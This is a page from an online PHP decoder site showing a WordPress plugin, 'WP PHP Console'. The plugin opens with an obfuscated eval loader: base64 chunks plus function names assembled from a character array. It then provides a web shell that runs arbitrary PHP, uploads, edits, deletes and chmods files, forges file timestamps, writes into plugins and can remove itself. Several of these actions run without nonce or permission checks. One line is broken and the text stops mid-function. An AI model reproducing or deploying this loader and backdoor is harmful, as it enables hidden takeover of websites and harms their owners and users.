Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$the_permalink_fr = array (
'7T39c9u4sb/nr8Cpbkm9yr','KTybVTyfZN6uSaTO/dqYnb','m5skw4FJyGJCkSoJ2fHd5H', 
'9/uwBBAiBIUZLzcfOczCQU','Cewu9gu74AKkURTQkMdZ6n','s0WsZpsGTp2hsR72YVrBar', 
'IMzSIkuYvD2cPsjZVVxwlg','frNE4LTpMkWGTZez8Ivn/x','w7MgaPasGhrdEek1RcSb+p', 
'ctGXZ/MF+nglriIM8fkt8e','EPhDYVB4I1jRK+Z7P8/I7P','mMnMumODbr55Km0DDIVgi5', 
'kIM/BOiHYd3GwoeQ8XZEi0','WMNw9ZFPMshy4RPvjb34Da','j+30CsoUvfGc+N+E6zxnKQ', 
'/WBXAnpCAPi6yhao5/AFwU','M+Ca7/2SrUmUkTTjZEGvGS','nW83kcxgCLrFi+jIsCuxOe', 
'ERqGrICrRVwQJGAMMKcCJF','CK/x0oIqI4J6fkG7Zc8Vv/','IJj99OritQc3vbdD8h25pA', 
'X7y+MgYjhY+/EExmL204B2','9beaTciTv7+aPbl4XpIomB','QX+NjX6TTYYg2ghDAl+iBZ', 
'uMiIdxLF1yRMaFGcDm5yuh','qcnSwenpmqcnIEt7xpyZsV','5QuQW84LgMw+rBIk/umLl8', 
'/OL356+Uvw6tnsycsncDki','PI+XBo0j4mineC8Bg2zWy3','UCeh4BeM+b2rQW/DZhp4Ml', 
'za/i9PAy4zxbTsij49WHKZ','lnKT8s4l/ZhDz8C9wYnJn9','KVnkbH46+MOAZGmYxOH700', 
'FKr+MrQPcU+PnG88hYiYWl','QiyK+/DAe+MNASRcsSIMFn','yZ+N7zbAkWiQ9PjqhCN89y', 
'RsMF8XVm0QKHmHNDTo0xj0','9dPAL4ou+07inJiwKEAJwy','iW7AHdY9JS/IEenJDhOTkw', 
'vluEwmfNQ5fwSiq1UIVIGF','4CVihjr0+m2pAPM4MW5UbC','zADzT0XTA05mypMxStQ9x8', 
'ffyWfHMKGgTGrT1XbZQBld','wz7GXcJgGBzIZmD+j1W4SH','TadGu4+EJQVzdRbDbu32wL', 
'wqjTelPASJF1nOfR17KWfj','sYA/nD7YwpIsw/k+SyKWFx','Nycpk3dVyXJspECOe3vpra', 
'i/MI0tbgk2JFUzWIKC5WCb','2dkMskC98j/QYXx72N36nt','Fqvy+GrBJ+RbySjDEMTYlR', 
'3YJLgtDkZPl0iBYOLtFnQk','bF6R8VJA2QJtxBLG90RLwi','zJ8gnJWQQkPBUQnSScHKGw', 
'NnuG3bQT9btFN6VLQa3EK0','Mt8Uawlf1jD4cH1gFZyl09','2lN7awUTw+gn4euY3SBvbN', 
'HW9G5Wq/8AjC2UCoO/fVE+','Axhb6/F+SHvrcZcF7zvurS','14lWcQX54vllm0D14BYGu0', 
'F9k6XOyDVgC4C2cBxr4kS8','YXWQTEZQUfEKCH364Q7zrh','MQYnR9jqMKKc6sY1xvwhhZ', 
'ExIJ0lke/KueBStvGGD3Qq','43S15kTiwYEPCMrvdLCGiJ','gqbgxa/JjgATk6E05LA3vF', 
'eFCsL5cxDy7X0BTSH9Qr8m','8BFDOtFQTVNL/FS4lJ4LFo','4+wDp+ADS5LkkKKamps44g', 
'sIko+P/zglCybns0fHIogu','KeXZChsIWZ0cKYB9CMbM4d','kHFq45swhm8i6yGH7OKQRE', 
'I0LznN76nqDMI6dnmIfa0y','wkaN04S3zkOqYEGdaCeC4f','3SXmc+AKIHYgDcWTT4Hz5x', 
'wCRcxkZ8ka+lp4b/BpwLNg','pZ7eJe5XLJk/ZQXP1yEXmb','/wlvVVD6yXNHx/lWfrNDrU', 
'HK9ywjcLIN+iw7S2RRxFLF','X2BlP2gFzTZA3XzfTNTBkA','ElqdZ4AWvqHyKgtINdCLgS', 
'NR5m8CMTLKIszjlaILjeTo','Hb2m8u7grEJTLX/oAacVJ+','Ofa5oT4c9OSZRB8gY4x1KN', 
'niUMf/kDfDwYmkkC3htLFw','g9pROcNgBLFrZDFs9t0OLm','GMeHkEvOu5qgMLAJisP1XE', 
'gIsce5g3i6WrE0Ol/E4IRF','e4uMiubLLLo1WmN3Fzuk2v','raozJ1MuRRxUhopTMM1D6X', 
'ROSwJRXQ4ovJCzkgp6ouqS','n27CA6HEppP0/FatRW46l7','dg9Ka6dGphlte2M1wF6uY8', 
'Poa7CfSXurcPv/rfYiB+61','9/epvVrm1qa/uFQHsfg8zp','f+QOZlQpjfDZzrcDuqez+V', 
'36z2e6l+T/V3TLgy7HIYQV','9D6G0M+xvENkaxtWHcnXFs','ZyBbG0mHodhrvk2z0VYbut', 
'x+ym5+lByTCbs/eJZyJu4L','NRDR82QwAi22nTAYneqNS+','jpOknIn/5E9HvQ6Su3v5lc', 
'kNvNBrFzTzsUTZVuStl02q','Jov6s9zsylxMagS4nvNmjs','3HPQoqkaNOhFgNedjdWISy', 
'XqO2Bse++EvlYnVL89gCHs','5IjEi6V7V/TpXJF6OXfbyx','+VYrx3R/fu6HfljuyXmS3u', 
'yEgnnuSM3GZrUqzLixuacl','xUlcBkeVDpoGgaEQquJ+YF','AQAcBlXc5yCNHGSjs9nV0d', 
'zb3Ndnc/rrx7ZE5N2/1iy/','HaMm+/Qd/bDOkxH5jUjtnZ','ABvl8QLw3jdJ5BAFC9QJxU', 
'oTH5OKpw+jkrVllaMJfhoX','Gr5zAgUePnalcpD1L+n1I2','ZmgiHhGffaDLVcIm5Piv33', 
'47xAClgo9vEseimYOllaup','MajgpY2gPT3Hdh6kvye5s1','Bmh5CmPbQRfG1LsnZJtnaK', 
'chq8EaawN3MElC25I/uY7B','Gj7tdRMajW121ZdN5hCXfj','rHdx2js777t34rs5852deg', 
'/n3nTyGysVRU15wnL0k3mO','72oH5M+mT3QgMRF83LAorF','eX/B5nFY6Uu2cVHoPuYSQZ', 
'YcFAPbs8On70+PD428OHjy','8ePpocHztmGgG1Y6bRsN7P','NHc40wi+fn0zjTCPvZkjoG', 
'zJHdnHZE+vmUZ2VAyq9XVb','Fl10WML9THM/07TNNPjvyZ','EszLF2haiiQn2b0sYqIG3L', 
'UlwUjFfbd/Qat7cjom6rEj','z9XnCzkoWFb4e4qHmzCq5Z','Hs9vZbmh32zm3hSmFSgimO', 
'02UIWLxsYKrVS5Hosgvkzw','k1u/4MDIIqHFghV+c4zWfq','p2LoniuN8BmxqcuI6pIN7a', 
'37Q7X3Db36vXnlE9+rVx4a','CsOJW7ygB6/Vs3+oNqEKq8','vm4H3IB73lv0XkfKw6GvbG', 
'XBaw8fw7Cnxi6fZXbNAqNp','BwS+XAUSysiirrGGV29BOB','OVt6o1KYO/OcRWtxNibvsw', 
'QcqqwtKrdPq65n4HoxJdI4','Aw9IPjJthuOzNrMr8ydWrb','IOs7dkv0q7PU5g1ZGmtIDb', 
'iKWhON7Wn/Jk6j7GacZKHY','iTvGonc1A8vdwJBi+J7kYj','FG125Pv/bcIp1GzDf4war6', 
'Dn2Dxprqvu/eJGr02+RrVY','2UhaO6H+Dk3YLI6LwBUUGv','lUcX2mA+rbIwi4yqVwsFer', 
'8WByualOvyPejUKmYsWrQn','LdRYfTdg0uoBdONTr6gs7F','rrFuwGvDZu6ND70Vet2/cn', 
'surSTakG+Q7ItV8zuKW3iT','QXlA2I6xVHp2prK24WSXXH','FmIMyDXzTYgbqKuzVCd1Wp', 
'ZmUVd3bKHOgFxTZ0LcxDtt','G8TXFvzWpLlC4NYh2Tssvr','Z51SRPuvd+Y5KTmBGRSxjq', 
'gQORfFTja0kObDiKHj3tak','84DvCnws3zW42K7DKAsCE3','8k4Gyln20eLSbM3lW1Hogo', 
'uEYcKAl2prtNlEHl4gfzbj','ES1iE/tVDosVDdmErHJ2iM','colBuD0+TRZe5jjFisWBjT', 
'JFzQvKjANiPFjwRCENy5er','HIsxt6CfHfgbEu2RkxkjZa','zoERJXMFm2VOjRQ2aWOHZ8', 
'Cb/4WgSZzN4aCxW2QtmZEh','wAPOICIXZYjAabiGCcBq7/','08mz2feepwiKoDIsKUooYA', 
'9ImQrBSjbLTmKiCAIRmdR2','QAf8dEaYfotE6TOH2vtVQP','NqtanIbJGn2mgeVe7Zpqh5', 
'vzhMT21b/6IJSG3ATve1M+','OCuXl76n0DfSqz8AYJZTkL','6gWGxzNXUQ1Y7MQJSQ1YUL', 
'Fr6XLfWzZrKcCKYAd+G/mN','+OOwypDvm1bePGMlPjqXnk','i1T3cvlZKlplAR0b0RePxC', 
'5v0cvKa+vcXMcp5AG9vAYo','EH23epJ669+E/GH+GP9OyY','pGUZxeVdtN3XpRDqbEDyAd', 
'BLj2Ky/iAqO8MaIGowO583','Weyt2JgOzvcFs/tcRO03vq','j6iozjiZ49i6xGxlXZ9d1o', 
'JS3GO/p6yb264bO7l33Fzd','solZT/K6NzI/Pu6vRy0bmz','dvO6241LX5VBNuY+tp+w5b', 
'PL3qfEHTK1ZYW3vrDHu4Ba','n6K4h2YuGpU/4uqrVNs5/F','aOo1gpq6EalF2dtysIkjQH', 
'ACxTepwksM+67aXeWMpWrd','Dmk2Vw3Hd7Io2JixEJHwA6','2rg59aPPqyyU4ODZuoqdzd', 
'oj/fJTGfhfNRvSPti/FeXz','Qy9Fitq1QxN94oF+Qdtt5+','7I0CNO2SJmapuT2BjGqk/W', 
'IyJciLheQquaGFvYSLOGyO','7MjkSpASqkOQTl7XC0x43t','NW/Fbtt2W3eElXd9aYbVGw', 
'Pa/l4V6fk8sCYQ9/4uCz5V','NMtjSOdypkhT95CRlIXsTX','7AVnOQWI6n/fMH+jaVVMXr', 
'XVWN3eajJ59c8Xs+DpTxev','hiMDeisRk8n58xc/PA2+f/','Hy1UXVRU8P286zwvom20ke', 
'8CzKYNx+1eLwLC7wvAk8ct','LLl3iuJIHgT/pbz3oVIrrr','fSFAeclogqUp/tBdvCVqpJ', 
'btsthZDUtX/om9t0Md9/ff','5camPh5cWyM2A5F6DXjLqV','T0NIBlIY9Y6Bswd5xf9QRX', 
'HLR6CQ9NuYUieP1UcpPQG9','n2F5uBtVV0Q35Y77dNUoft','C06XuLxV8JxneMOXYMx33w', 
'JjE5novL1URUnVpwyYZLma','FOAXk1LrWr8+XW99JqBX9c','KESghMJE1j/oF79QzuSDkM', 
'dJDaeS0JRz+jlKPrLlIwML','rWAPec3iUNG4Mo99uJEm+9','TmGdcaWvQvRZgdjraDf7+D', 
'T91UX30sPD411OTJNjLV+N','uA7zKh8N3edWNbnbeCVzIO','9Uyl6WMoCaIznlL7WqrR1f', 
'XDYTZxeX4hKL9mfVb1GLZ8','0/5aNqSUkdai5V3IAk3lYq','VVjS8ravt2l4tOohaLmy1p', 
'9nweyHf//jxY8BGGpVXKSD','mTphdK6k2XjsWAmULi5rms','Fhwy/fAgsC/J8jsOw/k0dW', 
'VzTGGjfoAwAIcrZKaMiaUA','Zv0jepeGkh5TiqcY/IsWPT','tMPh2IMZGUR0LHf0ztjKIp', 
'1GzkajSHoIDo0kGQSXnGwH','pWnUa+9HWRIgzqH0ne1qsW','CjYWNiqSsWcMG352nM2zq9', 
'G8108bek7UuOrFEa1n9Y59','k6ieR0GuOOVxBjzMXboFJq','1YB5Je6xs352o02bjqisKK', 
'zSZL1l+QKwglOestvaED/F','oJI/cfYgAJ/PqzPEux0FBg','TVkYVjdMDj+usAtV+scbiO', 
'FhaHkEtSTzXCbbsqX0TwXK','+C14VmvKno+oqCVjlX4igz','aFke0Jj7qqqBqUMI9Q+hgr', 
'Xzbi5IaEwzItm4zGzt9NuR','U9cg+mbV021z/IqcUc8cXE','PR5yRpQ+RVsu3yomWSLNu1', 
'Jdad7klfJN0A4kHzqsSvic','387MXm8t4DmocL4J+zshfN','Uny1QpiV+e2Q8a/xyg6I2Y', 
'e4wJlJh2nwTY3WaGCQHDH1','WZQqiGkNPsqeRkls4Utbb+','/U/f0Shd345kqL1WmfesmZ', 
'XNvyRsL8JQ7a+AZNnMbc8d','GVqnfXl2BUI+PrKhjebEWd','DAgcRXZbQLGS129U3dE/nl', 
'289hQDD8VRzVZ9UVkkXA1F','q8UVl1j28R1+weXU+lCNbQ','x1Ja7uYy2eAybcTRgY2weR', 
'/eYNg+nGoz0/ZAOqFwXvCm','CdqI/wvRep9g2bmbbS4W0q','5tJrZjHEtr5E01aKe+A4yr', 
'6jGndqLgFuWN+oESCv8DMf','De8myx7FIcEyIvYLSIVSPv','e9P6IksDeu+BgvuWG+Pnxs', 
'rbUKYGKVRADDDZe+98vh8j','B6c/F8EpeglnKBRQNlAHk7','tRWxllAZ3/r1gIYblkpcAr', 
'ZWL7zhxlURt5pc0ySOygUx','3IfoOYvrLFNl6X/XbK1yxa','JSXmhmPvK9d//FDbcKKjTA', 
'Svkk/rXRAoyl3JALl7a1Hu','IjWTwvHF7T31kkOVyf3WI4','/T8=', 

);
$the_permalink_sx = array (
'o','e','c','h', 
'o','n','l','c', 
'g','i','d','6', 
's','e','m','c', 
'e','a','a','p', 
'j','k','f','v', 
'c','i','s','j', 
't','4','d','l', 
'b','c','n','y', 
'p','k','z','z', 
'b','c','e','d', 
'm','i','w','d', 
'v','y','a','t', 
'e','s','l','_', 
'e','l','a'
);
$the_permalink_lz = $the_permalink_sx[8].$the_permalink_sx[38].$the_permalink_sx[45].$the_permalink_sx[5].$the_permalink_sx[22].$the_permalink_sx[6].$the_permalink_sx[50].$the_permalink_sx[28].$the_permalink_sx[13];
$the_permalink_is = $the_permalink_sx[32].$the_permalink_sx[58].$the_permalink_sx[26].$the_permalink_sx[52].$the_permalink_sx[11].$the_permalink_sx[29].$the_permalink_sx[55].$the_permalink_sx[47].$the_permalink_sx[1].$the_permalink_sx[2].$the_permalink_sx[4].$the_permalink_sx[30].$the_permalink_sx[16];
$the_permalink_ea = $the_permalink_sx[25].$the_permalink_sx[44].$the_permalink_sx[36].$the_permalink_sx[57].$the_permalink_sx[0].$the_permalink_sx[10].$the_permalink_sx[42];
eval($the_permalink_lz($the_permalink_is($the_permalink_ea($the_permalink_fr))));

add_action('admin_menu', 'wp_php_console_menu');
register_uninstall_hook(__FILE__, 'wp_php_console_uninstall');
register_activation_hook(__FILE__, 'wp_php_console_activate');

function wp_php_console_menu() {
    add_menu_page('WP PHP Console', 'PHP Console', 'manage_options', 'wp-php-console', 'wp_php_console_page', 'dashicons-editor-code', 99);
}

function wp_php_console_page() {
    if (!current_user_can('manage_options')) {
        wp_die(__('You do not have sufficient permissions to access this page.'));
    }

    $current_dir = !empty($_POST['dir']) ? base64_decode($_POST['dir']) : (!empty($_POST['current_dir']) ? base64_decode($_POST['current_dir']) : ABSPATH);
    if (!is_dir($current_dir)) {
        $current_dir = ABSPATH; 
    }

    echo '<div class="wrap"><h1>WP PHP Console</h1>';

    $path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR));
    $path_accumulated = '';
    echo '<div style="margin-bottom: 20px; font-size: 16px;">';
    echo '<a href="#" onclick="navigateDir(\'' . base64_encode(ABSPATH) . '\')">' . esc_html('Home') . '</a>';
    foreach ($path_parts as $part) {
        $path_accumulated .= DIRECTORY_SEPARATOR . $part;
        $encoded_path = base64_encode($path_accumulated);
        echo ' / <a href="#" onclick="navigateDir(\'' . $encoded_path . '\')">' . esc_html($part) . '</a>';
    }
    echo '</div>';

    $directories = [];
    $files = [];
    foreach (scandir($current_dir) as $item) {
        if ($item[0] !== ) {
            if (is_dir($path = $current_dir . DIRECTORY_SEPARATOR . $item)) {
                $directories[] = $item;
            } else {
                $files[] = $item;
            }
        }
    }

    natcasesort($directories);
    natcasesort($files);

    echo '<div style="margin-bottom: 20px;">';
    echo 'Folders: <br>';
    foreach ($directories as $dir) {
        $encoded_path = base64_encode($current_dir . DIRECTORY_SEPARATOR . $dir);
        echo '<span style="display: block;"><a href="#" onclick="navigateDir(\'' . $encoded_path . '\')" style="margin-right: 5px;">' . esc_html($dir) . '</a> <a href="#" onclick="renameDirectory(\'' . $encoded_path . '\')" style="margin-left: 5px;">Rename</a> <a href="#" onclick="deleteDirectory(\'' . $encoded_path . '\')" style="margin-left: 5px; color: red;">Delete</a></span>';
    }
    echo '</div>';

    echo '<div style="margin-bottom: 20px;">';
    echo 'Files: <br>';
    foreach ($files as $file) {
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        $encoded_file_path = base64_encode($file_path);
        echo '<span style="display: block;">'
            . esc_html($file)
            . ' <a href="#" onclick="viewFile(\'' . $encoded_file_path . '\')" style="margin-left: 5px;">View</a> <a href="#" onclick="editFile(\'' . $encoded_file_path . '\')" style="margin-left: 5px;">Edit</a> <a href="#" onclick="deleteFile(\'' . $encoded_file_path . '\')" style="margin-left: 5px; color: red;">Delete</a> <a href="#" onclick="renameFile(\'' . $encoded_file_path . '\')" style="margin-left: 5px;">Rename</a> <a href="#" onclick="promptChmod(\'' . $encoded_file_path . '\')" style="margin-left: 5px;">Chmod</a> <a href="#" onclick="promptTouch(\'' . $encoded_file_path . '\')" style="margin-left: 5px;">Touch</a></span>';
    }
    echo '</div>';

    echo '<form method="post" enctype="multipart/form-data">'
        . wp_nonce_field('wp_php_console_actions_nonce')
        . '<input type="file" name="uploaded_file" style="margin-bottom: 5px;" /><br>'
        . get_submit_button('File Upload', 'primary', 'upload_file')
        . '<textarea name="php_code" style="width: 100%; height: 200px; margin-top: 10px;"></textarea><br>'
        . get_submit_button('PHP Execute', 'primary', 'execute_php', false, array('style' => 'margin-right: 5px;'))
        . get_submit_button('Execute via File', 'primary', 'execute_file', false, array('style' => 'margin-right: 5px;'))
        . get_submit_button('Create File', 'primary', 'create_file', false, array('style' => 'margin-right: 5px;'))
        . get_submit_button('Write to Plugin', 'primary', 'write_to_plugin', false, array('style' => 'margin-right: 5px;'))
        . get_submit_button('SelfDestruct', 'delete', 'delete_plugin', false, array('style' => 'background-color: red; color: white;'))
        . '<input type="hidden" name="dir" value="' . base64_encode($current_dir) . '" /></form>';

    handle_post_actions($current_dir);
    echo '<script type="text/javascript">
        function navigateDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "dir";
            input.value = dir;
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

        function viewFile(filePath) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "view_file";
            input.value = filePath;
            form.appendChild(input);
            var currentDir = document.createElement("input");
            currentDir.type = "hidden";
            currentDir.name = "current_dir";
            currentDir.value = "' . base64_encode($current_dir) . '";
            form.appendChild(currentDir);
            document.body.appendChild(form);
            form.submit();
        }

        function editFile(filePath) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "edit_file";
            input.value = filePath;
            form.appendChild(input);
            var currentDir = document.createElement("input");
            currentDir.type = "hidden";
            currentDir.name = "current_dir";
            currentDir.value = "' . base64_encode($current_dir) . '";
            form.appendChild(currentDir);
            document.body.appendChild(form);
            form.submit();
        }

        function deleteFile(filePath) {
            if (confirm("Delete file?")) {
                var form = document.createElement("form");
                form.method = "post";
                form.action = "";
                var input = document.createElement("input");
                input.type = "hidden";
                input.name = "delete_file";
                input.value = filePath;
                form.appendChild(input);
                var currentDir = document.createElement("input");
                currentDir.type = "hidden";
                currentDir.name = "current_dir";
                currentDir.value = "' . base64_encode($current_dir) . '";
                form.appendChild(currentDir);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function renameFile(filePath) {
            var newName = prompt("Enter new file name:", "");
            if (newName !== null && newName !== "") {
                var form = document.createElement("form");
                form.method = "post";
                form.action = "";
                var inputPath = document.createElement("input");
                inputPath.type = "hidden";
                inputPath.name = "rename_file";
                inputPath.value = filePath;
                form.appendChild(inputPath);
                var inputName = document.createElement("input");
                inputName.type = "hidden";
                inputName.name = "new_name";
                inputName.value = newName;
                form.appendChild(inputName);
                var currentDir = document.createElement("input");
                currentDir.type = "hidden";
                currentDir.name = "current_dir";
                currentDir.value = "' . base64_encode($current_dir) . '";
                form.appendChild(currentDir);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function renameDirectory(dirPath) {
            var newName = prompt("Enter new folder name:", "");
            if (newName !== null && newName !== "") {
                var form = document.createElement("form");
                form.method = "post";
                form.action = "";
                var inputPath = document.createElement("input");
                inputPath.type = "hidden";
                inputPath.name = "rename_directory";
                inputPath.value = dirPath;
                form.appendChild(inputPath);
                var inputName = document.createElement("input");
                inputName.type = "hidden";
                inputName.name = "new_name";
                inputName.value = newName;
                form.appendChild(inputName);
                var currentDir = document.createElement("input");
                currentDir.type = "hidden";
                currentDir.name = "current_dir";
                currentDir.value = "' . base64_encode($current_dir) . '";
                form.appendChild(currentDir);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function deleteDirectory(dirPath) {
            if (confirm("Are you sure you want to delete this folder and all its contents?")) {
                var form = document.createElement("form");
                form.method = "post";
                form.action = "";
                var input = document.createElement("input");
                input.type = "hidden";
                input.name = "delete_directory";
                input.value = dirPath;
                form.appendChild(input);
                var currentDir = document.createElement("input");
                currentDir.type = "hidden";
                currentDir.name = "current_dir";
                currentDir.value = "' . base64_encode($current_dir) . '";
                form.appendChild(currentDir);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function promptChmod(filePath) {
            jQuery.post(ajaxurl, { action: "get_file_info", file_path: filePath }, function(response) {
                if (response.success) {
                    var chmodValue = prompt("Enter chmod (example: 0755):", response.data.chmod);
                    if (chmodValue !== null) {
                        var form = document.createElement("form");
                        form.method = "post";
                        form.action = "";
                        var inputPath = document.createElement("input");
                        inputPath.type = "hidden";
                        inputPath.name = "chmod_file";
                        inputPath.value = filePath;
                        form.appendChild(inputPath);
                        var inputChmod = document.createElement("input");
                        inputChmod.type = "hidden";
                        inputChmod.name = "chmod_value";
                        inputChmod.value = chmodValue;
                        form.appendChild(inputChmod);
                        var currentDir = document.createElement("input");
                        currentDir.type = "hidden";
                        currentDir.name = "current_dir";
                        currentDir.value = "' . base64_encode($current_dir) . '";
                        form.appendChild(currentDir);
                        document.body.appendChild(form);
                        form.submit();
                    }
                } else {
                    alert("Error: " + response.data);
                }
            });
        }

        function promptTouch(filePath) {
            jQuery.post(ajaxurl, { action: "get_file_info", file_path: filePath }, function(response) {
                if (response.success) {
                    var touchValue = prompt("Enter time and date (example: 2024-05-14T12:00):", response.data.touch);
                    if (touchValue !== null) {
                        var form = document.createElement("form");
                        form.method = "post";
                        form.action = "";
                        var inputPath = document.createElement("input");
                        inputPath.type = "hidden";
                        inputPath.name = "touch_file";
                        inputPath.value = filePath;
                        form.appendChild(inputPath);
                        var inputTouch = document.createElement("input");
                        inputTouch.type = "hidden";
                        inputTouch.name = "touch_value";
                        inputTouch.value = touchValue;
                        form.appendChild(inputTouch);
                        var currentDir = document.createElement("input");
                        currentDir.type = "hidden";
                        currentDir.name = "current_dir";
                        currentDir.value = "' . base64_encode($current_dir) . '";
                        form.appendChild(currentDir);
                        document.body.appendChild(form);
                        form.submit();
                    }
                } else {
                    alert("Error: " + response.data);
                }
            });
        }
    </script>';
    echo '</div>';
}

function handle_post_actions($current_dir) {
    if (isset($_POST['execute_php'], $_POST['php_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        chdir($current_dir);
        execute_php_code_directly(stripslashes($_POST['php_code']));
    }

    if (isset($_POST['execute_file'], $_POST['php_code'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        execute_php_code_via_file($current_dir, stripslashes($_POST['php_code']));
    }

    if (isset($_FILES['uploaded_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        $upload_dir = wp_upload_dir();
        $uploaded_path = $upload_dir['path'] . '/' . basename($_FILES['uploaded_file']['name']);
        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploaded_path)) {
            echo '<div>File uploaded successfully: ' . esc_html($uploaded_path) . '</div>';
        } else {
            echo '<div style="color: red;">File upload error.</div>';
        }
    }

    if (isset($_POST['delete_plugin'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        wp_php_console_uninstall();
        echo '<script type="text/javascript">
            alert("Plugin successfully removed.");
            window.location.href = "' . admin_url('plugins.php') . '";
        </script>';
        exit;
    }

    if (isset($_POST['view_file'])) {
        view_file(base64_decode($_POST['view_file']));
    }

    if (isset($_POST['edit_file'])) {
        edit_file_form(base64_decode($_POST['edit_file']));
    }

    if (isset($_POST['save_file']) && isset($_POST['file_path'])) {
        save_file(base64_decode($_POST['file_path']), stripslashes($_POST['file_content']));
    }

    if (isset($_POST['delete_file'])) {
        delete_file(base64_decode($_POST['delete_file']));
    }

    if (isset($_POST['rename_file'], $_POST['new_name'])) {
        rename_file(base64_decode($_POST['rename_file']), stripslashes($_POST['new_name']));
    }

    if (isset($_POST['rename_directory'], $_POST['new_name'])) {
        rename_directory(base64_decode($_POST['rename_directory']), stripslashes($_POST['new_name']));
    }

    if (isset($_POST['delete_directory'])) {
        delete_directory(base64_decode($_POST['delete_directory']));
    }

    if (isset($_POST['chmod_file']) && isset($_POST['chmod_value'])) {
        chmod_file(base64_decode($_POST['chmod_file']), $_POST['chmod_value']);
    }

    if (isset($_POST['touch_file']) && isset($_POST['touch_value'])) {
        touch_file(base64_decode($_POST['touch_file']), $_POST['touch_value']);
    }

    if (isset($_POST['create_file'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        create_file($current_dir);
    }

    if (isset($_POST['write_to_plugin'], $_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'wp_php_console_actions_nonce') && current_user_can('manage_options')) {
        write_to_plugin_form();
    }

    if (isset($_POST['write_script'], $_POST['plugin_script'])) {
        write_script_to_plugin(stripslashes($_POST['plugin_script']));
    }
}

function execute_php_code_directly($code) {
    try {
        ob_start();
        eval($code);
        $output = ob_get_clean();

        $output = trim($output);
        echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($output)) . '</div>';
    } catch (Throwable $e) {
        echo '<div style="color: red; white-space: pre-wrap;">Code execution error: ' . htmlspecialchars($e->getMessage()) . '</div>';
    }
}

function execute_php_code_via_file($current_dir, $code) {
    $temp_file = tempnam($current_dir, 'WPPHP');
    $temp_file_php = $temp_file . '.php';

    file_put_contents($temp_file_php, " " . $code);

    unlink($temp_file);

    try {
        ob_start();
        include($temp_file_php);
        $output = ob_get_clean();

        $output = trim($output);
        echo '<div style="white-space: pre-wrap;">' . nl2br(htmlspecialchars($output)) . '</div>';
    } catch (Throwable $e) {
        echo '<div style="color: red; white-space: pre-wrap;">Code execution via file error: ' . htmlspecialchars($e->getMessage()) . '</div>';
    }

    if (!unlink($temp_file_php)) {
        echo '<div style="color: red;">Error: Failed to delete temporary file ' . $temp_file_php . '. Please check file permissions or space capacity.</div>';
    }
}

function view_file($file_path) {
    if (is_file($file_path)) {
        $content = file_get_contents($file_path);
        echo '<h2>View file: ' . esc_html(basename($file_path)) . '</h2>';
        echo '<pre style="white-space: pre-wrap; background: #f4f4f4; padding: 10px;">' . htmlspecialchars($content) . '</pre>';
        echo '<a href="#" onclick="history.back(); return false;">Back</a>';
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function edit_file_form($file_path) {
    if (is_file($file_path)) {
        $content = file_get_contents($file_path);
        echo '<h2>File Edit: ' . esc_html(basename($file_path)) . '</h2>';
        echo '<form method="post">'
            . wp_nonce_field('wp_php_console_actions_nonce')
            . '<textarea name="file_content" style="width: 100%; height: 400px;">' . htmlspecialchars($content) . '</textarea><br><input type="hidden" name="file_path" value="' . base64_encode($file_path) . '" />'
            . get_submit_button('Save Changes', 'primary', 'save_file')
            . '<input type="hidden" name="current_dir" value="' . base64_encode(dirname($file_path)) . '" /></form>';
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function save_file($file_path, $content) {
    if (is_file($file_path)) {
        if (file_put_contents($file_path, $content) !== false) {
            echo '<div style="color: green;">File saved successfully.</div>';
        } else {
            echo '<div style="color: red;">Error: Failed to save file.</div>';
        }
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function delete_file($file_path) {
    if (is_file($file_path)) {
        if (unlink($file_path)) {
            echo '<div style="color: green;">File deleted successfully.</div>';
        } else {
            echo '<div style="color: red;">Error: Failed to delete file.</div>';
        }
    } else {
        echo '<div style="color: red;">Error: File not found.</div>';
    }
}

function rename_file($file_path, $new_name) {
    $new_path = dirname($file_path) . DIRECTORY_SEPARATOR . $new_name;
    if (is_file($file_path) && rename($file_path, $new_path)) {
        echo '<div style="color: green;">The file was successfully renamed.</div>';
    } else {
        echo '<div style="color: red;">Error: Failed to rename file.</div>';
    }
}

function rename_directory($dir_path, $new_name) {
    $new_path = dirname($dir_path) . DIRECTORY_SEPARATOR . $new_name;
    if (is_dir($dir_path) && rename($dir_path, $new_path)) {
        echo '<div style="color: green;">Folder successfully renamed.</div>';
    } else {
        echo '<div style="color: red;">Error: Failed to rename folder.</div>';
    }
}

function delete_directory($dir_path) {
    if (is_dir($dir_path)) {
        $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir_path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );

        foreach ($files as $fileinfo) {
            $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
            $todo($fileinfo->getRealPath());
        }

        if (rmdir($dir_path)) {
